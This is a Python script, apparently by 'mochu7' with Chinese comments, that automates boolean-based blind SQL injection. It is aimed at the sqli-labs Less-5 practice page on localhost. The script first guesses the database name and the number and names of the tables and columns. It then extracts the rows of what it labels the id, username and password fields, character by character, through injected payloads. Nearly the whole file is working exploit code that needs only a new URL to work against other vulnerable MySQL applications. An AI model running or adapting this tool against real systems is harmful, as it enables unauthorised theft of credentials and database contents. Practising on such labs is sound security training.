bool_sqlblind.py
# -*- coding:utf-8 -*-
# Author: mochu7
import requests

def ascii_str():#生成庫名表名字符所在的字符列表字典
 str_list=[]
 for i in range(33,127):#所有可顯示字符
  str_list.append(chr(i))
 #print('可顯示字符：%s'%str_list)
 return str_list#返回字符列表

def db_length(url,str):
 print("[-]開始測試數(shù)據(jù)庫名長度.......")
 num=1
 while True:
  db_payload=url+"' and (length(database())=%d)--+"%num
  r=requests.get(db_payload)
  if str in r.text:
   db_length=num
   print("[+]數(shù)據(jù)庫長度：%d\n"%db_length)
   db_name(db_length)#進行下一步，測試庫名
   break
  else:
   num += 1

def db_name(db_length):
 print("[-]開始測試數(shù)據(jù)庫名.......")
 db_name=''
 str_list=ascii_str()
 for i in range(1,db_length+1):
  for j in str_list:
   db_payload=url+"' and (ord(mid(database(),%d,1))='%s')--+"%(i,ord(j))
   r=requests.get(db_payload)
   if str in r.text:
    db_name+=j
    break
 print("[+]數(shù)據(jù)庫名：%s\n"%db_name)
 tb_piece(db_name)#進行下一步，測試security數(shù)據(jù)庫有幾張表
 return db_name
 
def tb_piece(db_name):
 print("開始測試%s數(shù)據(jù)庫有幾張表........"%db_name)
 for i in range(100):#猜解庫中有多少張表，合理范圍即可
  tb_payload=url+"' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+"%(i,db_name)
  r=requests.get(tb_payload)
  if str in r.text:
   tb_piece=i
   break
 print("[+]%s庫一共有%d張表\n"%(db_name,tb_piece))
 tb_name(db_name,tb_piece)#進行下一步，猜解表名


def tb_name(db_name,tb_piece):
 print("[-]開始猜解表名.......")
 table_list=[]
 for i in range(tb_piece):
  str_list=ascii_str()
  tb_length=0
  tb_name=''
  for j in range(1,20):#表名長度，合理范圍即可
   tb_payload=url+"' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+"%(i,j)
   r=requests.get(tb_payload)
   if str in r.text:
    tb_length=j
    print("第%d張表名長度：%s"%(i+1,tb_length))
    for k in range(1,tb_length+1):#根據(jù)表名長度進行截取對比
     for l in str_list:
      tb_payload=url+"' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+"%(i,k,ord(l))
      r=requests.get(tb_payload)
      if str in r.text:
       tb_name+=l
    print("[+]：%s"%tb_name)
    table_list.append(tb_name)
    break
 print("\n[+]%s庫下的%s張表：%s\n"%(db_name,tb_piece,table_list))
 column_num(table_list,db_name)#進行下一步，猜解每張表的字段數(shù)

def column_num(table_list,db_name):
 print("[-]開始猜解每張表的字段數(shù)：.......")
 column_num_list=[]
 for i in table_list:
  for j in range(30):#每張表的字段數(shù)量，合理范圍即可
   column_payload=url+"' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+"%(j,i)
   r=requests.get(column_payload)
   if str in r.text:
    column_num=j
    column_num_list.append(column_num)#把所有表的字段，依次放入這個列表當中
    print("[+]%s表\t%s個字段"%(i,column_num))
    break
 print("\n[+]表對應的字段數(shù)：%s\n"%column_num_list)
 column_name(table_list,column_num_list,db_name)#進行下一步，猜解每張表的字段名

def column_name(table_list,column_num_list,db_name):
 print("[-]開始猜解每張表的字段名.......")
 column_length=[]
 str_list=ascii_str()
 column_name_list=[]
 for t in range(len(table_list)):#t在這里代表每張表的列表索引位置
  print("\n[+]%s表的字段："%table_list[t])
  for i in range(column_num_list[t]):#i表示每張表的字段數(shù)量
   column_name=''
   for j in range(1,21):#j表示每個字段的長度
    column_name_length=url+"' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+"%(j-1,table_list[t],i)
    r=requests.get(column_name_length)
    if str in r.text:
     column_length.append(j)
     break
    for k in str_list:#k表示我們猜解的字符字典
     column_payload=url+"' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+"%(table_list[t],i,j,ord(k))
     r=requests.get(column_payload)
     if str in r.text:
      column_name+=k
   print('[+]：%s'%column_name)
   column_name_list.append(column_name)
 #print(column_name_list)#輸出所有表中的字段名到一個列表中
 dump_data(table_list,column_name_list,db_name)#進行最后一步，輸出指定字段的數(shù)據(jù)

def dump_data(table_list,column_name_list,db_name):
 print("\n[-]對%s表的%s字段進行爆破.......\n"%(table_list[3],column_name_list[9:12]))
 str_list=ascii_str()
 for i in column_name_list[9:12]:#id,username,password字段
  for j in range(101):#j表示有多少條數(shù)據(jù)，合理范圍即可
   data_num_payload=url+"' and (select count(%s) from %s.%s)=%d--+"%(i,db_name,table_list[3],j)
   r=requests.get(data_num_payload)
   if str in r.text:
    data_num=j
    break
  print("\n[+]%s表中的%s字段有以下%s條數(shù)據(jù)："%(table_list[3],i,data_num))
  for k in range(data_num):
   data_len=0
   dump_data=''
   for l in range(1,21):#l表示每條數(shù)據(jù)的長度，合理范圍即可
    data_len_payload=url+"' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+"%(i,db_name,table_list[3],k,l)
    r=requests.get(data_len_payload)
    if str not in r.text:
     data_len=l-1
     for x in range(1,data_len+1):#x表示每條數(shù)據(jù)的實際范圍，作為mid截取的范圍
      for y in str_list:
       data_payload=url+"' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+"%(i,db_name,table_list[3],k,x,ord(y))
       r=requests.get(data_payload)
       if str in r.text:
        dump_data+=y
        break
     break
   print('[+]%s'%dump_data)#輸出每條數(shù)據(jù)



if __name__ == '__main__':
 url="http://127.0.0.1/sqli-labs/Less-5/?id=1"#目標url
 str="You are in"#布爾型盲注的truefalse的判斷因素
 db_length(url,str)#程序入口